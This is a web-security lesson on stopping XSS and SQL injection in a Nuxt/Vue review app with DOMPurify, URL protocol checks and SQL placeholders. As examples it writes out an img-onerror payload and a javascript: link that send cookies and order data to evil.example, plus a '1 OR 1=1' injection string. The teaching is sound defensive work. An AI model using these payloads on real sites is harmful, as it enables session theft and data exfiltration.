Injection and cross-site scripting
Keep visitors' text from running as code or as a query, with Vue's escaping, sanitised HTML that also works during server rendering, allow-listed URLs and parameterised queries.
What you'll learn
When you finish, you can do these.- 1Spot where Vue stops escaping a visitor's text
- 2Sanitise a review's HTML with isomorphic-dompurify
- 3Allow only http and https URLs in links
- 4Pass a visitor's value to SQL through a placeholder
The Corner Shop, the small online shop this track keeps safe, is a Nuxt app (Vue with its own server) where customers review products. One writes: Great mug <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">. If the product page renders that as HTML, the image fails to load and the code in its onerror attribute runs. Every visitor who opens the page runs a stranger's code, signed in as themselves. That is cross-site scripting (XSS). On the server, the same mistake puts a visitor's text into a database query. Together they are Injection, fifth on the OWASP Top 10:2025, the list of web risks most teams use.
You need one idea from Broken access control and SSRF: an allow-list names what is allowed, such as the hosts the shop's link preview may fetch, and refuses everything else. The Code tab holds the shop's review code: the components that show a review and its author, helpers that clean HTML and check links, and the server routes that save and list reviews. By the end, reviews keep their bold text, and nothing a customer types runs as code.
Vue escapes text; a few features opt out
Most of a page is safe without any work. Vue escapes everything in {{ }} and in bound attributes such as :title. Escaping turns the characters that mean something in HTML, such as < and ", into harmless codes, so text shows as text. Shown with {{ review.body }}, the Great mug review appears as characters, <img ...> included, and nothing runs.
The danger sits in the few features that skip escaping. Each one is a sink, a place where text becomes markup or code:
v-html, andinnerHTMLin a render function (a component written in JavaScript), insert HTML as it is.:hrefand:src: Vue does not check the URL, so ajavascript:URL arrives intact and runs when the link is clicked.- Markdown (text with marks such as
**bold**) turned into HTML by themarkedlibrary and shown withv-html: marked keeps raw HTML, and turns a link tojavascript:alert(1)into a working one. - Nuxt's
useHead()with a visitor's value pasted into a script, and<component :is>with a component name a visitor chose. - A template compiled from a visitor's text, which Vue's security guide calls rule number one: never do it.
- Inputa review form
- Databasestored as typed
- Renderescape or sanitise
- Browsertext, never code
Sanitise HTML, check URLs
The shop's reviews meet two sinks: the HTML some customers use for bold and lists, and the link to each reviewer's website.
For the HTML, sanitise: parse it, keep an allow-list of harmless tags and attributes, and drop the rest. The DOMPurify library does this. Do it right before rendering, every time, because the same string is safe in one place and dangerous in another. The shop shows a review's text with ReviewBody.vue in the Code tab, which takes the text as an html prop and sanitises it in a computed:
<script setup lang="ts">
import DOMPurify from 'isomorphic-dompurify'
const { html } = defineProps<{ html: string }>()
const safe = computed(() => DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: [],
}))
</script>
Its template renders safe with v-html. The Great mug review then shows "Great mug" and no image: img is not on the list, so DOMPurify drops it, onerror and all. renderMarkdown() in app/utils/renderMarkdown.ts sends marked's output through DOMPurify too.
The import is isomorphic-dompurify, because Nuxt renders ReviewBody.vue on the server first, where there is no window, the browser's global object. Plain dompurify then has no sanitize method, and the page fails with a 500 error: DOMPurify.sanitize is not a function. isomorphic-dompurify brings its own DOM (the page's tree of elements) to the server.
Server rendering also changes what an unsanitised v-html can do. In the browser, a <script> inserted with innerHTML never runs. During server rendering the same string is written into the page's HTML, and the browser runs it on first load.
The second sink is the reviewer's link. ReviewAuthor.vue in the Code tab shows a reviewer's name as a link to the website they gave, so check the protocol, the part before the first colon, before binding. safeUrl() in app/utils/safeUrl.ts returns the URL only when its protocol is http: or https:; otherwise the name shows as plain text. server/api/reviews.post.ts, the route that saves a review, refuses other URLs before storing them, with z.httpUrl() from the Zod validation library.
The net behind all this, a Content Security Policy (a header that tells the browser which scripts may run), comes in the next lesson: Security misconfiguration, headers and CSP.
Queries and commands
On the server, injection means a visitor's text becoming part of a command, such as a query in SQL, the language databases are queried in. Never paste a value into the query's text: a placeholder, a ? in the SQL, sends the value separately, so it can only ever be a value. In server/api/reviews.get.ts, the route that lists a product's reviews, sqlite is the shop's database connection and .all() passes the product id for the ?:
return sqlite
.prepare('SELECT id, body, website FROM reviews WHERE product_id = ? ORDER BY id')
.all(productId ?? null)
Whatever a visitor sends as productId, the database compares product_id with it as one value. Query builders such as Drizzle and Prisma use placeholders for you.
Shell commands follow the same rule. To resize a photo with the convert tool, Node's execFile('convert', [input, output]) passes the arguments one by one, where exec(`convert ${input}`) hands the whole line to a shell. And a Zod schema does not replace placeholders: a string can pass every rule and still change a query built from text.
What goes wrong
Some reviews use bold, so ReviewBody.vue renders its html prop as it is:
<template>
<div class="review" v-html="html" />
</template>
The Great mug review shows "Great mug" and a broken image icon. Nothing else looks wrong, but the onerror code has already run in the browser of everyone who opened the page. Render the sanitised safe instead:
<template>
<div class="review" v-html="safe" />
</template>
The same review now shows "Great mug" alone, and nothing runs.
ReviewAuthor.vue binds a reviewer's website straight into the link on their name:
<a :href="website">{{ name }}</a>
A website of javascript:fetch('/api/orders').then(r => r.text()).then(t => navigator.sendBeacon('https://evil.example', t)) renders unchanged, and clicking the name sends the visitor's orders to another site. Check the protocol:
<a v-if="safeUrl(website)" :href="safeUrl(website)" rel="nofollow">{{ name }}</a>
<span v-else>{{ name }}</span>
safeUrl() refuses that website, so the name shows as plain text.
reviews.get.ts pastes the product id into the query text:
return sqlite.prepare(`SELECT id, body FROM reviews WHERE product_id = ${productId}`).all()
A request to /api/reviews?productId=1 works. ?productId=1 OR 1=1 returns every review on the site, because the value became part of the condition. Use the placeholder:
return sqlite.prepare('SELECT id, body FROM reviews WHERE product_id = ?').all(productId ?? null)
The same request now returns an empty list: no review belongs to a product whose id is the text 1 OR 1=1.
What to remember
- Vue escapes
{{ }}and bound attributes.v-html,innerHTML, Markdown output and URLs are where you take over. - Sanitise HTML with an allow-list right before rendering, with
isomorphic-dompurifyso it also works during server rendering. - During server rendering, a
<script>insidev-htmlruns on first load. - Allow
http:andhttps:only, in:hrefand when you store a URL. - Values go into SQL through placeholders and into commands as separate arguments, never into the text.
In your project
Do these in a real project. Each one says how to confirm it worked.- Run
grep -rnE "v-html|innerHTML" app/. Next to every hit, check that the value comes from DOMPurify orrenderMarkdown(). A hit fed by a visitor's text without it is a bug to fix now. - Save a review with the body
<b>Great</b> mug <img src=x onerror="alert(document.cookie)">and open the product page: "Great" is bold, there is no image and no alert. If the nuxt-security module refuses the POST with 400 Bad Request, insert the row straight into the database instead. - Run
grep -rnE "(prepare|exec|query)\(`" server/. Any hit containing${is a query built from text. Then request/api/reviews?productId=1%20OR%201=1: it returns an empty list, not every review.